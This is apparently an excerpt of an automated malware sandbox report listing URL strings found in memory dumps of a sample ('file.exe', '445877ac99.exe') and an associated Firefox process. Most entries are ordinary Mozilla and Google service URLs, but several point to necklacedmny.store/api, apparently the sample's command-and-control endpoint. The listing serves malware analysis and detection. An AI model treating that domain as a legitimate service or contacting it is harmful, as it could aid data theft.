Source: file.exe, 00000001.00000003.2274099543.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2245245805.0000000000CF0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2244305444.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/Sa
Source: file.exe, 00000001.00000003.2381837265.0000000000CDE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2381774067.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 445877ac99.exe, 0000000B.00000003.2979772472.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.3231571341.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2969270996.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2933425849.0000000000F9A000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2980536638.0000000000FA1000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2965193406.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2933609954.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2925691440.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.3231325797.0000000000F8C000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2904996879.0000000000F81000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2980787374.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2908401382.0000000000F85000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2909263406.0000000000F85000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.3231216085.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2926716507.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2933544422.0000000000FA1000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2925909050.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.3231442912.0000000000F7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: 445877ac99.exe, 0000000B.00000003.3231216085.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api%
Source: 445877ac99.exe, 0000000B.00000003.2979772472.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2980536638.0000000000FA1000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2980787374.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.3231216085.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiC
Source: 445877ac99.exe, 0000000B.00000003.2925691440.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiX
Source: file.exe, 00000001.00000003.2381837265.0000000000CDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apid?
Source: file.exe, 00000001.00000003.2260710014.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2257484498.0000000000CC2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2274015399.0000000000CC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apis
Source: 445877ac99.exe, 0000000B.00000003.2925691440.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiu
Source: 445877ac99.exe, 0000001E.00000003.3158939599.0000000005B24000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3203538270.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, 445877ac99.exe, 0000001E.00000003.3160773205.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apivZ
Source: 445877ac99.exe, 0000000B.00000003.2933572737.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2925691440.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2933477170.0000000000F89000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2933870732.0000000000F8F000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2926716507.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2925909050.0000000000F83000.00000004.00000020.00020000.00000000.sdmp, 445877ac99.exe, 0000000B.00000003.2926355406.0000000000F83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiy
Source: file.exe, 00000001.00000003.2244305444.0000000000CEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/ca
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sFailed
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED299000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.3224823843.00000234DEC6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.3370312333.00000234EF545000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000002.3224823843.00000234DEC6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3224823843.00000234DEC6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001A.00000003.2997516237.00000234EEC00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com//shims/google-safeframe.html
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.3370312333.00000234EF545000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3370312333.00000234EF545000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.3370312333.00000234EF545000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001A.00000002.3279659963.00000234EB400000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://snippets.mozilla.com/show/
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED2BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/(
Source: firefox.exe, 0000001A.00000002.3319814174.00000234ED2BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.3376721901.00000234EF6DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jscolor-mix(in
Source: firefox.exe, 0000001A.00000002.3376721901.00000234EF6DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF6CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3376721901.00000234EF65E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixellinear-gradient(90deg
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3135115359.00000234F0447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3135115359.00000234F0447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 445877ac99.exe, 0000000B.00000003.2909389967.0000000005627000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help
Source: firefox.exe, 0000001A.00000002.3395505381.00000234EFB8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: 445877ac99.exe, 0000000B.00000003.2909389967.0000000005627000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp, firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001A.00000002.3280672696.00000234EB600000.00000002.00000001.00040000.0000001F.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC04A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.3229225716.00000234EA3B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.3220400287.000001B2BCB00000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
